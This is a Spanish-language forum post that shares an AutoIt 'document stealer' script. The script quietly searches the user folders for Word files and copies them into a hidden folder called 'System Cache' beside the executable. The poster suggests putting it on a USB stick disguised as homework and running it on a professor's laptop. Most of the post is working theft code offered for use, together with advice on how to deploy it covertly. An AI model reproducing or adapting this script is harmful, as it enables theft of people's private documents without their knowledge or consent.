Página 1 de 1

Stealer Ladron de documentos

Publicado: 24 Ene 2018, 18:23
por Usuario borrado 84624
Buenas, les dejo este código que arme hace un tiempo
Simplemente copia archivos y los pega en una carpeta oculta llamada "System Cache" ubicado en la misma carpeta del ejecutable, los archivos que copie dependeran de las extensiones que definan en la variable "$cExt" separadas por un |

El uso queda a su imaginación, por ejemplo podéis ponerlo en un pendrive, disfrazarlo de un trabajo y ejecutarlo en el notebook de un profesor de la universidad o algo asi :rolleyes:
#include <File.au3>
#include <Array.au3>
#NoTrayIcon
HotKeySet("{ESC}", "CloseProggy")
Opt("ExpandVarStrings", 1)

Global $cFolder = "System Cache"
Global $cHidden = "1"
Global $cSystem = "0"
Global $cFolders = "C:\Users"
Global $cExt = "docx|doc"

$cFolders = @UserProfileDir
$cFolders = StringSplit($cFolders,"\")
$cFolders = $cFolders[1] & "\" & $cFolders[2]

List()

Func List()
   $LA = ""
   $Folder = StringSplit($cFolders,"|")
   $Ext = StringSplit($cExt,"|")
   Folders($Ext)
   For $x = 1 To $Folder[0]
	  For $y = 1 To $Ext[0]
		 $LA = _FileListToArrayRec($Folder[$x] & "\","*" & "." & $Ext[$y],1,1,0,2)
		 If Not @error Then
		 For $z = 1 To $LA[0]
			$Name = StringSplit($LA[$z],"\")
			$Name = $Name[$Name[0]]
			FileCopy($LA[$z],@ScriptDir & "\" &  $cFolder & "\" & $Ext[$y] & "\")
		 Next
		 EndIf
	  Next
   Next
   If $cSystem = "1" Then FileSetAttrib($cFolder,"+S")
EndFunc

Func Folders($Ext)
   DirCreate($cFolder)
   If $cHidden = 1 Then FileSetAttrib($cFolder,"+H")
   For $i = 1 To $Ext[0]
	  DirCreate($cFolder & "\" & $Ext[$i])
   Next
EndFunc

Func CloseProggy()
Exit
EndFunc